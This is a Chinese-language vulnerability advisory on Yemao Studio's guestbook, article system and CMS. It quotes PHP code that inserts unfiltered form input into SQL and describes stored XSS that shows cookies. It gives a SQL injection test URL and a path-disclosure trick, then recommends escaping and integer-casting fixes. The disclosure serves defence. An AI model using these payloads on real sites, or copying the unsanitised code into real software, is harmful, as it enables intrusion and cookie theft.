程序名称:Yemao Studio系列产品
程序版本:ymGuestBook Version 2.x ,ymArticleFree Version 2.1.x , ymCMS v3.0.1 Free
程序厂商:http://www.yemao.net/
漏洞危害:中高

一,夜猫留言薄漏洞详情:

1,跨站漏洞:
漏洞页面:post.php,用户提交留言处存在跨站攻击安全隐患,漏洞代码入下:
if ($_POST['username'] == “” || $_POST['pagetext'] == “”):
echo “昵称和留言内容不能为空, 点击这里返回.\n”;
else:
post($_POST['iconid'],$_POST['username'],$_POST['touser'],$_POST['sex'],$_POST['comefrom'],$_POST['email'],$_POST['qq'],$_POST['homepage'],$_POST['pagetext'],$_SERVER['HTTP_USER_AGENT'],$_SERVER['REMOTE_ADDR']);
endif;?>
程序先判断用户名和留言内容是否为空,如不为空则通过post()函数进行提交,这里我们看到程序没有对我们提交的变量做任何过滤就直接引用了,那post()函数是怎么写的呢,看代码function.php:
function post($iconid,$username,$touser,$sex,$comefrom,$email,$qq,$homepage,$pagetext,$useros,$ipaddress){
global $dbname,$ymcity_gb_table,$ymcity_icon_table;

$dateline = time();

if ($iconid > “0″):
$iconsql = “SELECT iconpath FROM $ymcity_icon_table WHERE iconid=’$iconid’”;
$iconresult = mysql_db_query($dbname, $iconsql);
$iconrow = mysql_fetch_array($iconresult);
$icon = $iconrow['iconpath'];
else:
$icon = “”;
endif;

$sql = “INSERT INTO $ymcity_gb_table (icon,username,touser,sex,comefrom,email,qq,homepage,dateline,pagetext,useros,ipaddress) VALUES (‘$icon’,'$username’,'$touser’,'$sex’,'$comefrom’,'$email’,'$qq’,'$homepage’,'$dateline’,'$pagetext’,'$useros’,'$ipaddress’)”;
mysql_db_query($dbname,$sql) or die (“留言发表失败!”);
原来post()函数并没有过滤字符而是直接接受我们提交的变量,然后就通过定义的SQL语句插入到数据库里了,这样当从数据库里读出留言内容的时候我们的代码就可以被浏览器解析到,漏洞由此产生了!
漏洞利用:直接在留言处提交,主页即可弹出提示框。

2注入安全隐患
漏洞代码:reply.php
if ($_POST['gbid'] == “” || $_POST['password'] == “”):
echo “密码不能为空, 点击这里返回.\n”;
else:
reply($_POST['gbid'],$_POST['password'],$_POST['replyiconid'],$_POST['replyname'],$_POST['pagetext']);
endif;?>
首先判断要回复的留言编号和密码是否为空,二者缺一不可,然后就用reply()函数进行提交,这里没有过滤$gbid这个变量.

利用条件:magic_quotes_gpc=OFF 时,提交http://xxx.con/ymguestbook/reply.php?gbid=1' and 1=1 or 2 /* 类似URL进行测试。
当magic_quotes_gpc=ON时,改变$gbid值类型,提交:http://xxx.con/ymguestbook/reply.php?gbid=a 类似URL,在服务器disliay_errors=ON时,有时可暴出网站绝对路径。

二,夜猫文章系统漏洞详情:

1,跨站漏洞:
漏洞页面:register.php
漏洞代码:
?>用一个专门的函数register()来进行提交,那我们就看看这个注册函数怎么定义的,打开function.php看到如下代码(代码太长这里只给出关键的语句):$sql = “INSERT INTO $ymcity_user_table (usergroupid,username,password,email,sex,birthday,homepage,icq,oicq,race,experience,money,signature,joindate,ipaddress,realname,realname1,organization,organization1,country,country1,province,province1,city,city1,address,address1,zip,phone,fax,idnumber,referrerid) VALUES (‘$usergroupid’,'$username’,'$password’,'$email’,'$sex’,'$birthday’,'$homepage’,'$icq’,'$oicq’,'$race’,'$experience’,'$money’,'$signature’,'$timenow’,'$ipaddress’,'$realname’,'$realname1′,’$organization’,'$organization1′,’$country’,'$country1′,’$province’,'$province1′,’$city’,'$city1′,’$address’,'$address1′,’$zip’,'$phone’,'$fax’,'$idnumber’,'$referrerid’)”;
mysql_db_query($dbname,$sql);
漏洞利用:在个人网站里输入:即可弹出当前用户cookie。

2注入漏洞:原理跟留言薄相似,代码也相似,当magic_quotes_gpc=OFF ,可以通过闭合单引号后加注释符进行测试。

三,ymCMS跨站漏洞:

由于该CMS加密了全部的后台文件以及全部的函数文件,所以不能有效的发掘更多的安全漏洞,但是注册页面register.php还是存在跨站漏洞
漏洞代码:


$birthday = $_POST['b_year'].”-”.$_POST['b_month'].”-”.$_POST['b_day'];
$success = register($setting['user_reg_usergroupid'], $_POST['username'], $_POST['password'], $_POST['email'], $_POST['question'], $_POST['answer'], $_POST['sex'], $birthday, $_POST['homepage'], $_POST['icq'], $_POST['oicq'], $_POST['race'], $_POST['signature'], ’0′, $_POST['style'], $_POST['ipaddress'], $_POST['realname'], $_POST['realname1'], $_POST['organization'], $_POST['organization1'], $_POST['country'], $_POST['country1'], $_POST['province'], $_POST['province1'], $_POST['city'], $_POST['city1'], $_POST['address'], $_POST['address1'], $_POST['zip'], $_POST['phone'], $_POST['fax'], $_POST['idnumber'], $_POST['referrerid']);?>通过函数register()进行提交,这里没有过滤用户输入的信息。

漏洞利用:在注册页面邮箱地址栏输入:test@163.com,当浏览该注册资料时,即可谈出当前用户cookies。

漏洞修补:
1,用htmlspecialchars()函数来过滤用户输入的文本例如夜猫留言薄这样过滤htmlspecialchars($pagetext)
2,用类似代码将各类数字型变量强制整形化防止注入及暴路径:
$id=intval($id);
?>
3,用addslashes()函数过滤字符型变量。

个人建议,夜猫系列是一组没有安全防护意识的程序,在没有完全开源的情况下出现如此多的安全隐患,如果以后开源,将会给使用者带来更大的损失,建议不使用此类程序。

无觅相关文章插件,快速提升流量